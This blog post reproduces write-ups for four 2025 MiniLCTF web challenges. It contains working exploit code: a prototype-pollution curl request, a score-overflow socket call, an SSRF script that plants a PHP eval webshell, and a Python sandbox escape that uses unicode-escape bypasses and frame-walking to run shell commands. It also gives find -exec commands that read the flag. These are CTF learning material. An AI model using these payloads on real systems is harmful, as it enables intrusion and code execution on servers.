Featured image of post 2025MiniLCTF复现

2025MiniLCTF复现

MiniLCTF复现

Click and click

要求点10000下,抓包没成功,没有网络请求

查看wappalyzer,Svelte前端,用vue打包

image-20250509123243767

用控制台指令点10000下

1
2
let button = document.querySelector('button')
for (let i = 0; i < 10000; i++) { button.click(); }

image-20250509123918260

响应说按的太快了,直接curl发一样的请求还是回显按的太快了,10000次前端回显了一段代码

1
2
3
4
什么叫前后端分离?(战术后仰


      if ( req.body.point.amount == 0 || req.body.point.amount == null) { delete req.body.point.amount }

当后续代码尝试读取 req.body.point.amount 时,由于实例上(req.body.point 对象本身)的 amount 已经被删除了,JavaScript 会沿着原型链向上查找。猜测是原型链污染:

1
2
3
4
5
6
7
8
{
    "type": "set",
    "point": {
        "__proto__": {
            "amount": 10000
        }
    }
}

curl一下,不成功就重启容器

1
curl -X POST -H "Content-Type: application/json" -d "{\"type\":\"set\",\"point\":{\"__proto__\":{\"amount\":10000}}}" http://127.0.0.1:51264/update-amount

linux用这个

1
2
3
4
curl -X POST \
  -H "Content-Type: application/json" \
  -d '{"type":"set","point":{"__proto__":{"amount":10000}}}' \
  http://127.0.0.1:51264/update-amount

image-20250509131954087

GuessOneGuess

下载附件,输出flag的源码是game-ws.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
module.exports = function(io) {
    io.on('connection', (socket) => {
        let targetNumber = Math.floor(Math.random() * 100) + 1;
        let guessCount = 0;
        let totalScore = 0;
        const FLAG = process.env.FLAG || "miniL{THIS_IS_THE_FLAG}";
        console.log(`新连接 - 目标数字: ${targetNumber}`);

    
        socket.emit('game-message', {
            type: 'welcome',
            message: '猜一个1-100之间的数字!',
            score: totalScore
        });

        
        socket.on('guess', (data) => {
            try {
              console.log(totalScore);
                const guess = parseInt(data.value);

                if (isNaN(guess)) {
                    throw new Error('请输入有效数字');
                }

                if (guess < 1 || guess > 100) {
                    throw new Error('请输入1-100之间的数字');
                }

                guessCount++;

                if (guess === targetNumber) {
                   
                    const currentScore = Math.floor(100 / Math.pow(2, guessCount - 1));
                    totalScore += currentScore;

                    let message = `🎉 猜对了!得分 +${currentScore} (总分数: ${totalScore})`;
                    let showFlag = false;

                    if (totalScore > 1.7976931348623157e308) {
                        message += `\n🏴 ${FLAG}`;
                        showFlag = true;
                    }

                    socket.emit('game-message', {
                        type: 'result',
                        win: true,
                        message: message,
                        score: totalScore,
                        showFlag: showFlag,
                        currentScore: currentScore
                    });

                    
                    targetNumber = Math.floor(Math.random() * 100) + 1;
                    console.log(`新目标数字: ${targetNumber}`);
                    guessCount = 0;
                } else {
                    if (guessCount >= 100) {
                      console.log("100次未猜中!将扣除当前分数并重置");
                        socket.emit('punishment', {
                            message: "100次未猜中!将扣除当前分数并重置",
                        });
                        return;
                    }
                    socket.emit('game-message', {
                        type: 'result',
                        win: false,
                        message: guess < targetNumber ? '太小了!' : '太大了!',
                        score: totalScore
                    });
                }
            } catch (err) {
                socket.emit('game-message', {
                    type: 'error',
                    message: err.message,
                    score: totalScore
                });
            }
        });
        socket.on('punishment-response', (data) => {
          totalScore -= data.score;
          guessCount = 0;
          targetNumber = Math.floor(Math.random() * 100) + 1;
          console.log(`新目标数字: ${targetNumber}`);
          socket.emit('game-message', {
            type: 'result',
            win: true,
            message: "扣除分数并重置",
            score: totalScore,
            showFlag: false,
          });

        });
    });
};

分数需要大于1.7976931348623157e308,它其实就是 JS 所使用的 IEEE 754 标准的双精度浮点数(64位)所能表示的最大的有限正数(可以通过 Number.MAX_VALUE 来获取)

在 Javascript 中,进行计算时结果超出了 Number.MAX_VALUE 时,会将结果表示为 Infinity

Infinity > Number.MAX_VALUE 的结果是 true,所以需要让分数达到 Infinity

试了几遍发现限制次数内根本不可能达到那个分数

看到这一串代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
socket.on('punishment-response', (data) => {
          totalScore -= data.score;
          guessCount = 0;
          targetNumber = Math.floor(Math.random() * 100) + 1;
          console.log(`新目标数字: ${targetNumber}`);
          socket.emit('game-message', {
            type: 'result',
            win: true,
            message: "扣除分数并重置",
            score: totalScore,
            showFlag: false,
          });

用于扣除分数

给的附件还有game.pug

找到punishment-response

1
2
3
socket.on("punishment", (data) => {
        socket.emit("punishment-response", { score: scoreDisplay.textContent} );
      })

只要发过去一个超大负数就行了

JSON 不支持 Infinity,如果设置 score 为 -Infinity 序列化会变成 null,所以就设为 -1.7976931348623157e308

控制台赋值

1
2
let socket = io()
socket.emit("punishment-response", { score: -1.7976931348623157e308})

image-20250509213702208

那么再发一次就变成 Infinity 了,这里一定要再发一遍赋值,此时看服务端响应 JSON score 是 null,正如前面所说 JSON 不支持 Infinity,所以序列化为 JSON 会变成 null。实际上总分应该是 Infinity 了。只要再猜对一次应该就能让服务端触发分数判断返回 flag

再网页中再猜对一次还是从0开始,这是因为前面的操作重新创建了socket会话,用前面那个会话猜

1
socket.on('game-message', (data) => { console.log(data) })

至于猜数字,前下game.pug里面利用的是这样

1
socket.emit('guess', { value: guessInput.value });

image-20250509214014463

Miniup

自己做的时候做到任意文件读取和ssrf就不会了,没想到还能写马

image-20250509214324121

读到index.php

里面有个5000端口的dufs服务

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
<?php
$dufs_host = '127.0.0.1';
$dufs_port = '5000';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'upload') {
    if (isset($_FILES['file'])) {
        $file = $_FILES['file'];
        
        $filename = $file['name'];

        $allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'];
        
        $file_extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
        
        if (!in_array($file_extension, $allowed_extensions)) {
            echo json_encode(['success' => false, 'message' => '只允许上传图片文件']);
            exit;
        }
        
        $target_url = 'http://' . $dufs_host . ':' . $dufs_port . '/' . rawurlencode($filename);
        
        $file_content = file_get_contents($file['tmp_name']);
        
        $ch = curl_init($target_url);
        
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
        curl_setopt($ch, CURLOPT_POSTFIELDS, $file_content);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            'Host: ' . $dufs_host . ':' . $dufs_port,
            'Origin: http://' . $dufs_host . ':' . $dufs_port,
            'Referer: http://' . $dufs_host . ':' . $dufs_port . '/',
            'Accept-Encoding: gzip, deflate',
            'Accept: */*',
            'Accept-Language: en,zh-CN;q=0.9,zh;q=0.8',
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
            'Content-Length: ' . strlen($file_content)
        ]);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        
        curl_close($ch);
        
        if ($http_code >= 200 && $http_code < 300) {
            echo json_encode(['success' => true, 'message' => '图片上传成功']);
        } else {
            echo json_encode(['success' => false, 'message' => '图片上传失败,请稍后再试']);
        }
        
        exit;
    } else {
        echo json_encode(['success' => false, 'message' => '未选择图片']);
        exit;
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'search') {
    if (isset($_POST['query']) && !empty($_POST['query'])) {
        $search_query = $_POST['query'];
        
        if (!ctype_alnum($search_query)) {
            echo json_encode(['success' => false, 'message' => '只允许输入数字和字母']);
            exit;
        }
        
        $search_url = 'http://' . $dufs_host . ':' . $dufs_port . '/?q=' . urlencode($search_query) . '&json';
        
        $ch = curl_init($search_url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            'Host: ' . $dufs_host . ':' . $dufs_port,
            'Accept: */*',
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36'
        ]);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($http_code >= 200 && $http_code < 300) {
            $response_data = json_decode($response, true);
            if (isset($response_data['paths']) && is_array($response_data['paths'])) {
                $image_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'];
                
                $filtered_paths = [];
                foreach ($response_data['paths'] as $item) {
                    $file_name = $item['name'];
                    $extension = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
                    
                    if (in_array($extension, $image_extensions) || ($item['path_type'] === 'Directory')) {
                        $filtered_paths[] = $item;
                    }
                }
                
                $response_data['paths'] = $filtered_paths;
                
                echo json_encode(['success' => true, 'result' => json_encode($response_data)]);
            } else {
                echo json_encode(['success' => true, 'result' => $response]);
            }
        } else {
            echo json_encode(['success' => false, 'message' => '搜索失败,请稍后再试']);
        }
        
        exit;
    } else {
        echo json_encode(['success' => false, 'message' => '请输入搜索关键词']);
        exit;
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'view') {
    if (isset($_POST['filename']) && !empty($_POST['filename'])) {
        $filename = $_POST['filename'];
        
        $file_content = @file_get_contents($filename, false, @stream_context_create($_POST['options']));
        
        if ($file_content !== false) {
            $base64_image = base64_encode($file_content);
            $mime_type = 'image/jpeg';
            
            echo json_encode([
                'success' => true, 
                'is_image' => true,
                'base64_data' => 'data:' . $mime_type . ';base64,' . $base64_image
            ]);
        } else {
            echo json_encode(['success' => false, 'message' => '无法获取图片']);
        }
        
        exit;
    } else {
        echo json_encode(['success' => false, 'message' => '请输入图片路径']);
        exit;
    }
}
?>

查看github:https://github.com/sigoden/dufs

image-20250509214535676

利用ssrf查看当前目录文件

image-20250509214713232

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
  "href": "/",
  "kind": "Index",
  "uri_prefix": "/",
  "allow_upload": true,
  "allow_delete": false,
  "allow_search": true,
  "allow_archive": false,
  "dir_exists": true,
  "auth": false,
  "user": null,
  "paths": [
    {
      "path_type": "File",
      "name": "dufs",
      "mtime": 1745487158000,
      "size": 4488672
    },
    {
      "path_type": "File",
      "name": "index.php",
      "mtime": 1745500647000,
      "size": 16464
    }
  ]
}

说明我们可以控制这个dufs服务,接下来就是传马了

用脚本传马

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = 'http://127.0.0.1:60583'
payload = '<?php @eval($_POST["cmd"]);?>'

try:
    resp = requests.post(
        url + "/index.php",
        data={
            'action': 'view',
            'filename': 'http://127.0.0.1:5000/shell.php',
            "options[http][method]": "PUT",
            "options[http][content]": payload,
            "options[http][header]": "Host: 127.0.0.1:5000"
        },
        timeout=10
    )
    resp.raise_for_status()  # 检查HTTP错误
    print(resp.json())
except requests.exceptions.RequestException as e:
    print(f"请求失败: {e}")
except ValueError as e:
    print(f"JSON解析失败: {e}")

上传之后访问shell.php,读env

image-20250509220810179

PyBox

源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from flask import Flask, request, Response
import multiprocessing
import sys
import io
import ast

app = Flask(__name__)

class SandboxVisitor(ast.NodeVisitor):
    forbidden_attrs = {
        "__class__", "__dict__", "__bases__", "__mro__", "__subclasses__",
        "__globals__", "__code__", "__closure__", "__func__", "__self__",
        "__module__", "__import__", "__builtins__", "__base__"
    }
    def visit_Attribute(self, node):
        if isinstance(node.attr, str) and node.attr in self.forbidden_attrs:
            raise ValueError
        self.generic_visit(node)
    def visit_GeneratorExp(self, node):
        raise ValueError
def sandbox_executor(code, result_queue):
    safe_builtins = {
        "print": print,
        "filter": filter,
        "list": list,
        "len": len,
        "addaudithook": sys.addaudithook,
        "Exception": Exception
    }
    safe_globals = {"__builtins__": safe_builtins}

    sys.stdout = io.StringIO()
    sys.stderr = io.StringIO()

    try:
        exec(code, safe_globals)
        output = sys.stdout.getvalue()
        error = sys.stderr.getvalue()
        result_queue.put(("ok", output or error))
    except Exception as e:
        result_queue.put(("err", str(e)))

def safe_exec(code: str, timeout=1):
    code = code.encode().decode('unicode_escape')
    tree = ast.parse(code)
    SandboxVisitor().visit(tree)
    result_queue = multiprocessing.Queue()
    p = multiprocessing.Process(target=sandbox_executor, args=(code, result_queue))
    p.start()
    p.join(timeout=timeout)

    if p.is_alive():
        p.terminate()
        return "Timeout: code took too long to run."

    try:
        status, output = result_queue.get_nowait()
        return output if status == "ok" else f"Error: {output}"
    except:
        return "Error: no output from sandbox."

CODE = """
def my_audit_checker(event,args):
    allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"]
    if not list(filter(lambda x: event == x, allowed_events)):
        raise Exception
    if len(args) > 0:
        raise Exception

addaudithook(my_audit_checker)
print("{}")

"""
badchars = "\"'|&`+-*/()[]{}_."

@app.route('/')
def index():
    return open(__file__, 'r').read()

@app.route('/execute',methods=['POST'])
def execute():
    text = request.form['text']
    for char in badchars:
        if char in text:
            return Response("Error", status=400)
    output=safe_exec(CODE.format(text))
    if len(output)>5:
        return Response("Error", status=400)
    return Response(output, status=200)


if __name__ == '__main__':
    app.run(host='0.0.0.0')
  • 过滤了 "__class__", "__dict__", "__bases__", "__mro__", "__subclasses__", "__globals__", "__code__", "__closure__", "__func__", "__self__", "__module__", "__import__", "__builtins__", "__base__"

  • 白名单"print": print, "filter": filter, "list": list, "len": len, "addaudithook": sys.addaudithook, "Exception": Exception

  • 还有badchar被过滤了,但是前面有code = code.encode().decode('unicode_escape')

    可以将输入进行unicode绕过,还有白名单my_audit_checker

第一步用unicode绕黑名单

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
def to_unicode(code: str) -> str:
    BLACKLIST = set(list(r"\"'|&`+-*/()[]{}_."))

    parts = []
    for ch in code:
        if ch in BLACKLIST:
            parts.append("\\u%04x" % ord(ch))
        else:
            parts.append(ch)
    return "".join(parts)

CODE = """")
raise Exception("echo")
"""

print(to_unicode(CODE))

第二步利用上面白名单

1
2
3
4
5
6
def my_audit_checker(event,args):
    allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"]
    if not list(filter(lambda x: event == x, allowed_events)):
        raise Exception
    if len(args) > 0:
        raise Exception

这个由于__getattribute__没被ban,直接获取globals

1
2
3
g = my_audit_checker.__getattribute__('__globals__')
g["__builtins__"]["list"] = lambda x: ["a"]
g["__builtins__"]["len"] = lambda x: 0

或者直接

1
2
__builtins__['list'] = lambda x: ['import', 'time.sleep', 'builtins.input', 'builtins.input/result','exec', 'compile', 'object.__getattr__']
__builtins__['len'] = lambda x: 0

因为上面的builtins白名单里面就有list和len,可以直接胁持

注意到 builtins 还有个 Exception 可以用

栈帧逃逸获取globals

1
2
3
4
5
6
7
8
try:
    raise Exception()
except Exception as e:
    tb = e.__traceback__
    frame = tb.tb_frame
    while frame.f_back:
        frame = frame.f_back
    globals = frame.f_globals

然后获取builtins,接着rce了

1
2
3
builtins = globals["__builtins__"]
res = builtins['__import__']('subprocess').getoutput('cat /m1* | base64 -w 0 | cut -c {}')
print(res[0].strip())

或者这样获取globals

1
2
3
4
5
6
7
def f():
    global x, frame
    frame = x.gi_frame.f_back.f_back.f_back.f_globals
    yield
x = f()
x.send(None)
raise Exception(frame)

接着

1
raise Exception(frame['__builtins__']['__import__']('os').popen('cat /etc/passwd').read())

用大佬的脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests

def to_unicode(code: str) -> str:
    BLACKLIST = set(list(r"\"'|&`+-*/()[]{}_."))

    parts = []
    for ch in code:
        if ch in BLACKLIST:
            parts.append("\\u%04x" % ord(ch))
        else:
            parts.append(ch)
    return "".join(parts)

CODE = r"""")
__builtins__['list'] = lambda x: ['import', 'time.sleep', 'builtins.input', 'builtins.input/result','exec', 'compile', 'object.__getattr__']
__builtins__['len'] = lambda x: 0
def f():
    global x, frame
    frame = x.gi_frame.f_back.f_back.f_back.f_globals
    yield
x = f()
x.send(None)
print(frame['__builtins__']['__import__']('os').popen('CMD').read()[N1:N2])
("\""""

URL = "http://127.0.0.1:63255/execute"
COMMAND = r"ls -l /"

result = ""

for i in range(0, 50, 2):
    resp = requests.post(URL, data={"text": to_unicode(CODE.replace("CMD", COMMAND).replace("N1", str(i)).replace("N2", str(i + 2)))})
    output = resp.text[1:-1]
    print(output)
    result += output

print(result)

suid提权

1
find /etc/passwd -exec chmod 777 /m1* \;然后cat /m1*

或者这个

1
find / -name m1n1FL@G -exec cat {} \;
Licensed under 9u_l3
使用 Hugo 构建
主题 StackJimmy 设计